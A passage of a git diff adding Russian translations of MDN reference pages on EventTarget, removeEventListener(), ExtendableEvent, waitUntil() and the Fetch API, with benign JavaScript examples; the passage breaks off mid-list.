+translation_of: Web/API/EventTarget/EventTarget
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<p> <code><strong>EventTarget()</strong></code> конструктор создаёт  новый {{domxref("EventTarget")}} экземпляр объекта.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>myEventTarget</var> = new EventTarget();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет параметров.</p>
+
+<h3 id="Возвращаемые_значения">Возвращаемые значения</h3>
+
+<p>Экземпляр {{domxref("EventTarget")}} объекта.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js" id="ct-20">class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p>Срецификация</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Срецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице сгенерированна из структурированных данных. Если Вы желаете внести изменения, пожалуйста проверьте адрес <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> aи отправьте запрос (pull request).</div>
+
+<p>{{Compat("api.EventTarget.EventTarget")}}</p>
+</div>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("EventTarget")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/eventtarget/index.html b/files/ru/web/api/eventtarget/index.html
new file mode 100644
index 0000000000..14aab04ab3
--- /dev/null
+++ b/files/ru/web/api/eventtarget/index.html
@@ -0,0 +1,120 @@
+---
+title: EventTarget
+slug: Web/API/EventTarget
+tags:
+  - DOM
+  - Interface
+translation_of: Web/API/EventTarget
+---
+<p>{{ ApiRef("DOM Events") }}</p>
+
+<p><strong><code>EventTarget</code></strong> - это интерфейс, реализуемый объектами, которые могут генерировать события и могут иметь подписчиков на эти события.</p>
+
+<p>Наиболее частые генераторы событий - {{domxref("Element")}}, {{domxref("document")}}, и {{domxref("window")}},  но другие объекты так же могут использоваться в качестве источников событий , например {{domxref("XMLHttpRequest")}}, {{domxref("AudioNode")}}, {{domxref("AudioContext")}}, и другие.</p>
+
+<p>Многие источники событий (включая элементы, документ и окно) также поддерживают установку <a href="/en-US/docs/Web/Guide/DOM/Events/Event_handlers" title="/en-US/docs/Web/Guide/DOM/Events/Event_handlers">обработчиков событий</a> с помощью on<code>...</code> свойств и аттрибутов.</p>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("EventTarget.addEventListener()")}}</dt>
+ <dd>Регистрирует обработчик событий указанного типа на объекте.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd>Удаляет обработчик события.</dd>
+ <dt>{{domxref("EventTarget.dispatchEvent()")}}</dt>
+ <dd>Генерирует событие на объекте <code>EventTarget</code>.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Без изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Несколько параметров теперь являються необязательными (<code>listener</code>), или принимают нулевое значение (<code>useCapture</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Браузерная совместимость</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9.0</td>
+   <td>7</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>9.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Дополнительные_методы_для_Mozilla_chrome_кода">Дополнительные методы для Mozilla chrome кода</h3>
+
+<p>Mozilla extensions for use by JS-implemented event targets to implement on* properties. Смотрите так-же <a href="/en-US/docs/Mozilla/WebIDL_bindings" title="/en-US/docs/Mozilla/WebIDL_bindings">WebIDL bindings</a>.</p>
+
+<ul>
+ <li>void <strong>setEventHandler</strong>(DOMString type, EventHandler handler) {{ non-standard_inline() }}</li>
+ <li>EventHandler <strong>getEventHandler</strong>(DOMString type) {{ non-standard_inline() }}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Reference/Events" title="/en-US/docs/Web/Reference/Events">Event reference</a> - доступные ивенты на платформе.</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Events" title="/en-US/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+ <li>{{domxref("Event")}} interface</li>
+</ul>
diff --git a/files/ru/web/api/eventtarget/removeeventlistener/index.html b/files/ru/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..3470bb95a8
--- /dev/null
+++ b/files/ru/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,155 @@
+---
+title: Метод EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+tags:
+  - API
+  - Браузерная совместимость
+  - Обработка событий
+  - метод
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Удаляет обработчик события, который был зарегистрирован при помощи {{domxref("EventTarget.addEventListener()")}}. Обработчик определяется типом события, самой функцией обработки события, и дополнительными параметрами, переданными при регистрации обработчика.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>Строка, описывающая тип события, которое нужно удалить.</dd>
+ <dt><code>listener</code></dt>
+ <dd>{{ domxref("EventListener") }} функция, которую нужно удалить с элемента.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>Объект опций, описывающий характеристики обработчика события. Доступные опции:
+ <ul>
+  <li><code>capture</code>: {{jsxref("Boolean")}}. Указывает на то, что события этого типа отправляются данному обработчику до того, как происходит их передача любым <code>EventTarget</code>, находящимся ниже него в дереве DOM.</li>
+  <li><code>passive</code>: {{jsxref("Boolean")}}. Указывает на то, что <code>listener</code> никогда не будет вызывать <code>preventDefault()</code>. В противном случае (если <code>listener</code> вызовет <code>preventDefault()</code> ), user agent проигнорирует вызов и сгенерирует предупреждение в консоли.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Указывает, был ли удаляемый {{domxref("EventListener")}}зарегистрирован как перехватывающий обработчик, или нет. Если этот параметр отсутствует, предполагается значение по умолчанию:<code>false</code>.</dd>
+ <dd>Если обработчик был зарегистрирован дважды, один раз с перехватом (с <code>capture</code>) и один - без, каждый из них должен быть удален по отдельности. Удаление перехватывающего обработчика никак не затрагивает не-перехватывающюю версию этого же обработчика, и наоборот.</dd>
+</dl>
+
+<div class="note"><strong>Заметка:</strong> <code>useCapture</code> требуется в большинстве основных браузеров старых версий. Если вы хотите поддерживать большую совместимость, вы всегда должны использовать параметр <code>useCapture</code>.</div>
+
+<h3 id="Return_value" name="Return_value">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Поиск_обработчика_при_удалении">Поиск обработчика при удалении</h3>
+
+<p>В большинстве браузеров помимо типа события и функции важно лишь совпадение значений параметра <code>useCapture</code> / <code>options.capture</code>, но так как это поведение не закреплено стандартом, наилучшим способом будет указание для <code>removeEventListener()</code> в точности тех же параметров, что были переданы в <code>addEventListener()</code>.</p>
+
+<h2 id="Compatibility" name="Compatibility">Примечания</h2>
+
+<p>Если {{domxref("EventListener")}} был удален из {{domxref("EventTarget")}} процессе обработки события (например предшествующим {{domxref("EventListener")}} того же типа), он не будет вызван. После удаления, {{domxref("EventListener")}} не будет вызываться, однако его можно назначить заново.</p>
+
+<p>Вызов <code>removeEventListener()</code> с параметрами, не соответствующими ни одному зарегистрированному {{domxref("EventListener")}} в <code>EventTarget</code>, не имеет никакого эффекта.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Это пример добавления и последующего удаления обработчика событий.</p>
+
+<pre class="brush: js">var div = document.getElementById('div');
+var listener = function (event) {
+  /* do something here */
+};
+div.addEventListener('click', listener, false);
+div.removeEventListener('click', listener, false);
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость браузеров</h2>
+
+<p>{{Compat("api.EventTarget.removeEventListener", 3)}}</p>
+
+<h3 id="Gecko_примечания">Gecko примечания</h3>
+
+<ul>
+ <li>В версиях Firefox младше версии 6 браузер бросает исключение, если параметр <code>useCapture</code> не был явно указан как <font face="'Courier New', 'Andale Mono', monospace"><span style="line-height: normal;">false</span></font>. В Gecko младше 9.0 {{ geckoRelease("9.0") }}, <code>addEventListener()</code> бросает исключение, если параметр <code>listener</code> равен <code>null</code>; в настоящее время метод отрабатывает без ошибки, но при этом не производит никаких действий.</li>
+</ul>
+
+<h3 id="Opera_примечания">Opera примечания</h3>
+
+<ul>
+ <li>В Opera 12.00 параметр <code>useCapture</code> - опциональный (<a class="external" href="http://my.opera.com/ODIN/blog/2011/09/29/what-s-new-in-opera-development-snapshots-28-september-2011-edition">source</a>).</li>
+</ul>
+
+<h3 id="WebKit_примечания">WebKit примечания</h3>
+
+<ul>
+ <li>Несмотря на то, что WebKit явно добавил "<code>[optional]</code>" к параметру <code>useCapture</code> в Safari 5.1 и Chrome 13, это работало и до изменений.</li>
+</ul>
+
+<h3 id="Specification" name="Specification">Спецификация</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Events-20001113/events.html#Events-EventTarget-removeEventListener">removeEventListener </a></li>
+</ul>
+
+<h2 id="Полифилы_для_поддержки_старых_браузеров">Полифилы для поддержки старых браузеров</h2>
+
+<p><code>addEventListener()</code> и <code>removeEventListener()</code> отсутствуют в старых браузерах. Это ограничение можно обойти, вставив следующий код в начале ваших скриптов, что позволяет использовать <code>addEventListener()</code> и <code>removeEventListener()</code> в версиях, не поддерживающих эти методы нативно. Тем не менее, этот метод не работает в Internet Explorer версии 7 и ниже, так как расширение Element.prototype не поддерживалось в более ранних версиях Internet Explorer ранее 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener()")}}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/ru/web/api/extendableevent/index.html b/files/ru/web/api/extendableevent/index.html
new file mode 100644
index 0000000000..336ae70a26
--- /dev/null
+++ b/files/ru/web/api/extendableevent/index.html
@@ -0,0 +1,130 @@
+---
+title: ExtendableEvent
+slug: Web/API/ExtendableEvent
+tags:
+  - API
+  - Experimental
+  - ExtendableEvent
+  - Interface
+  - NeedsTranslation
+  - Offline
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - TopicStub
+  - Workers
+translation_of: Web/API/ExtendableEvent
+---
+<div>{{APIRef("Service Workers API")}}</div>
+
+<p>The <strong><code>ExtendableEvent</code></strong> interface extends the lifetime of the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install">install</a></code> and <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate">activate</a></code> events dispatched on the global scope as part of the service worker lifecycle. This ensures that any functional events (like {{domxref("FetchEvent")}}) are not dispatched until it upgrades database schemas and deletes the outdated cache entries.</p>
+
+<p>If {{domxref("ExtendableEvent.waitUntil","waitUntil()")}} is called outside of the <code>ExtendableEvent</code> handler, the browser should throw an <code>InvalidStateError</code>; note also that multiple calls will stack up, and the resulting promises will be added to the list of <a href="https://w3c.github.io/ServiceWorker/#extendableevent-extend-lifetime-promises">extend lifetime promises</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The behaviour described in the above paragraph was fixed in Firefox 43 (see {{bug(1180274)}}.)</p>
+</div>
+
+<p>This interface inherits from the {{domxref("Event")}} interface.</p>
+
+<p>{{InheritanceDiagram(700, 60, 20)}}</p>
+
+<div class="note">
+<p><strong>Note</strong>: This interface is only available when the global scope is a {{domxref("ServiceWorkerGlobalScope")}}. It is not available when it is a {{domxref("Window")}}, or the scope of another kind of worker.</p>
+</div>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.ExtendableEvent()", "ExtendableEvent()")}}</dt>
+ <dd>Creates a new <code>ExtendableEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Doesn't implement any specific properties, but inherits properties from its parent, {{domxref("Event")}}.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}</dt>
+ <dd>
+ <p>Extends the lifetime of the event.  It is intended to be called in the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/install">install</a></code> {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.installing", "installing")}} worker and on the <code><a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate">activate</a></code> {{domxref("EventHandler")}} for the {{domxref("ServiceWorkerRegistration.active", "active")}} worker.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>This code snippet is from the <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/prefetch/service-worker.js">service worker prefetch sample</a> (see <a href="https://googlechrome.github.io/samples/service-worker/prefetch/">prefetch example live</a>.) The code calls {{domxref("ExtendableEvent.waitUntil()")}} in {{domxref("ServiceWorkerGlobalScope.oninstall")}}, delaying treating the {{domxref("ServiceWorkerRegistration.installing")}} worker as installed until the passed promise resolves successfully. The promise resolves when all resources have been fetched and cached, or else when any exception occurs.</p>
+
+<p>The code snippet also shows a best practice for versioning caches used by the service worker. Though there's only one cache in this example, the same approach can be used for multiple caches. It maps a shorthand identifier for a cache to a specific, versioned cache name.</p>
+
+<div class="note">
+<p><strong>Note</strong>: In Chrome, logging statements are visible via the "Inspect" interface for the relevant service worker accessed via chrome://serviceworker-internals.</p>
+</div>
+
+<pre class="brush: js notranslate">var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
+    'https://www.chromium.org/_/rsrc/1302286216006/config/customLogo.gif'
+  ];
+
+  console.log('Handling install event. Resources to pre-fetch:', urlsToPrefetch);
+
+  event.waitUntil(
+    caches.open(CURRENT_CACHES['prefetch']).then(function(cache) {
+      return cache.addAll(urlsToPrefetch.map(function(urlToPrefetch) {
+        return new Request(urlToPrefetch, {mode: 'no-cors'});
+      })).then(function() {
+        console.log('All resources have been fetched and cached.');
+      });
+    }).catch(function(error) {
+      console.error('Pre-fetching failed:', error);
+    })
+  );
+});</pre>
+
+<div class="note"><strong>Important</strong>: When fetching resources, it's very important to use <code>{mode: 'no-cors'}</code> if there is any chance that the resources are served off of a server that doesn't support {{glossary("CORS")}}. In this example, <a href="http://www.chromium.org">www.chromium.org</a> doesn't support CORS.</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#extendableevent', 'ExtendableEvent')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ExtendableEvent")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/extendableevent/waituntil/index.html b/files/ru/web/api/extendableevent/waituntil/index.html
new file mode 100644
index 0000000000..136770f499
--- /dev/null
+++ b/files/ru/web/api/extendableevent/waituntil/index.html
@@ -0,0 +1,77 @@
+---
+title: ExtendableEvent.waitUntil()
+slug: Web/API/ExtendableEvent/waitUntil
+translation_of: Web/API/ExtendableEvent/waitUntil
+---
+<p>{{APIRef("Service Workers API")}}</p>
+
+<p><span class="seoSummary">Метод <code><strong>ExtendableEvent.waitUntil()</strong></code> сообщает диспетчеру событий, что выполняется действие. Также этот метод может быть использован, для того чтобы определить было ли то действие успешным. В рамках service workers, <code>waitUntil()</code> сообщает браузеру, что действие продолжается пока обещание не завершится (<em>promise settles</em>) и браузер не должен прерывать service worker если он хочет, чтобы это действие завершилось.</span></p>
+
+<p>События <code>install</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> чтобы задержать service worker в {{domxref("ServiceWorkerRegistration.installing", "installing")}} фазе пока не завершатся задачи. Если обещание переданное в <code>waitUntil()</code> отклоняется, установка считается неудачной и устанавлеваемый service worker отбрасывается.  В первую очередь это используется для гарантии того, что service worker не рассматривается как установленный (installed), пока все основные кэши на которые он зависит успешно не заполнены.</p>
+
+<p>События <code>activate</code> в {{domxref("ServiceWorkerGlobalScope", "service workers")}} используют <code>waitUntil()</code> для размещения в буфере функциональных событий таких как <code>fetch</code> и <code>push</code> пока обещание переданное в <code>waitUntil()</code> не завершится успешно. Это дает service worker время, чтобы обновить схемы базы данных и удалить устаревшие {{domxref("Cache", "caches")}}, таким образом другие события могут полагаться на полностью обновленное состояние.</p>
+
+<p>Метод <code>waitUntil()</code> должен быть изначально вызван внутри события обратного вызова (<em>event callback</em>), но после этого он может быть вызван множество раз, до тех пор пока все обещания переданные в него не завершатся успешно.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Поведение описанное в параграфе выше, было исправлено в Firefix 43 (смотрите {{bug(1180274)}}).</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>extendableEvent</em>.waitUntil(<em>promise</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>{{jsxref("Promise")}}.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Использование <code>waitUntil()</code> внутри события <code>install</code> в service worker:</p>
+
+<pre class="brush: js;highlight:[10] notranslate">addEventListener('install', event =&gt; {
+  const preCache = async () =&gt; {
+    const cache = await caches.open('static-v1');
+    return cache.addAll([
+      '/',
+      '/about/',
+      '/static/styles.css'
+    ]);
+  };
+  event.waitUntil(preCache());
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-extendableevent-waituntil', 'waitUntil()')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста посмотрите на <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("api.ExtendableEvent.waitUntil")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Использование Service Workers</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Готов ли ServiceWorker?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+</ul>
diff --git a/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
new file mode 100644
index 0000000000..ec05253d7f
--- /dev/null
+++ b/files/ru/web/api/fetch_api/cross-global_fetch_usage/index.html
@@ -0,0 +1,33 @@
+---
+title: Cross-global fetch usage
+slug: Web/API/Fetch_API/Cross-global_fetch_usage
+translation_of: Web/API/Fetch_API/Cross-global_fetch_usage
+---
+<p class="summary">Эта статья объясняет крайний случай, который случается с fetch (и потенциально с другими API, предоставляющими такой же способ получения данных). Когда cross-origin fetch, включающий относительный URL, инициируется из {{htmlelement("iframe")}}, относительный URL может использовать текущий глобальный location вместо того что задается в iframe.</p>
+
+<h2 id="Крайний_случай">Крайний случай</h2>
+
+<p>Многие сайты никогда не столкнутся с таким поведением. Чтобы увидеть его:</p>
+
+<ul>
+ <li>Вам понадобится same-origin iframe</li>
+ <li>Этот same-origin iframe должен располагаться с другим base URL</li>
+ <li>Вы должны использовать функцию fetch cross-global, т. е. <code>frame.contentWindow.fetch()</code></li>
+ <li>Переданный в fetch URL должен быть относительным</li>
+</ul>
+
+<h2 id="Проблема">Проблема</h2>
+
+<p>В прошлом мы разрешали относительный URL адрес вместо текущего глобального, для примера:</p>
+
+<pre class="brush: js">let absolute = new URL(relative, window.location.href)</pre>
+
+<p>Это не проблема как таковая. Просто разные API, демонстрирующие такое поведение, делали его несовместимым с поведением, определенным в спецификации, что может привести к проблемам в дальнейшем.</p>
+
+<h2 id="Решение">Решение</h2>
+
+<p>В Firefox 60 и далее, Mozilla сопоставляет относительный URL с глобальным, которой принадлежит используемой функции <code>fetch()</code> (смотри {{bug(1432272)}}). Таким образом в случае описанном выше, он разрешается в зависимости от расположения iframe:</p>
+
+<pre class="brush: js">let absolute = new URL(relative, frame.contentWindow.location.href)</pre>
+
+<p>Ведется много дискуссий о том, как привести новые спецификации в соотвествие с этим изменением поведения, для того чтобы уменьшить возможные проблемы в будущем.</p>
diff --git a/files/ru/web/api/fetch_api/index.html b/files/ru/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..cb3917dcf8
--- /dev/null
+++ b/files/ru/web/api/fetch_api/index.html
@@ -0,0 +1,102 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+tags:
+  - API
+  - Fetch
+  - Response
+  - XMLHttpRequest
+  - request
+  - Главная
+  - Справка
+  - Экспериментальная
+translation_of: Web/API/Fetch_API
+---
+<p>{{DefaultAPISidebar("Fetch API")}}</p>
+
+<p>Fetch API предоставляет интерфейс для получения ресурсов (в том числе по сети). Он покажется знакомым любому, кто использовал {{DOMxRef("XMLHttpRequest")}}, но новый API является более мощным и гибким набором функций.</p>
+
+<h2 id="Oпределения_и_использование">Oпределения и использование</h2>
+
+<p>Fetch обеспечивает обобщенное определение объектов {{DOMxRef("Request")}} и {{DOMxRef("Response")}} (и других вещей, связанных с сетевыми запросами). Это позволит им использоваться везде, где необходимо в будущем, в том числе и для service workers, Cache API и других подобных технологий, которые обрабатывают или изменяют запросы (requests) и ответы (responses), а так же в любых других случаях, которые могут потребовать от вас генерировать свой собственный ответ программно.</p>
+
+<p>Это также предоставляет определение в отношение таких понятий, как CORS и семантика заголовков HTTP origin, заменяя их обособленные определения где бы то ни было.</p>
+
+<p>Чтобы создать запрос и получить данные, используется метод {{DOMxRef("GlobalFetch.fetch")}}. Он реализован во множестве интерфейсов, в том числе в {{DOMxRef("Window")}} и {{DOMxRef("WorkerGlobalScope")}}. Это позволяет использовать его практически в любом контексте для получения данных.</p>
+
+<p>Метод <code>fetch()</code> принимает один обязательный аргумент —  путь к данным, которые вы хотите получить. Он возвращает promise, который разрешается в ({{DOMxRef("Response")}}) независимо от того, был ли запрос удачным. Вы можете также передать во втором аргументе необязательный объект с указанием опций (см. {{DOMxRef("Request")}}.)</p>
+
+<p>Как только {{DOMxRef("Response")}} выполнится успешно, становятся доступными несколько методов для определения тела контента и, как его содержимое олжно быть обработано (см. {{DOMxRef("Body")}}.)</p>
+
+<p>Вы можете создавать запрос и ответ непосредственно, используя конструкторы {{DOMxRef("Request.Request","Request()")}} и {{DOMxRef("Response.Response","Response()")}}, но маловероятно, что в этом есть необходимость. Напротив, более вероятно, что они будут созданы как результат работы другого API (например, {{DOMxRef("FetchEvent.respondWith")}} в service workers.)</p>
+
+<h3 id="Отличия_от_jQuery">Отличия от jQuery</h3>
+
+<p>Спецификации <code>fetch()</code> отличаются от <code>jQuery.ajax()</code> тремя основными способами:</p>
+
+<ul>
+ <li>
+  <p>Обещание, возвращенное из <code>fetch()</code>, <strong>не будет отвергнуто при статусе ошибки HTTP</strong>, даже если ответ является HTTP <code>404</code> или <code>500</code>. Вместо этого, оно будет разрешаться нормально (со статусом <code>ok</code> установленным в <code>false</code>), и будет отклоняться только при сбое в сети или если что-то помешало завершению запроса.</p>
+ </li>
+ <li>
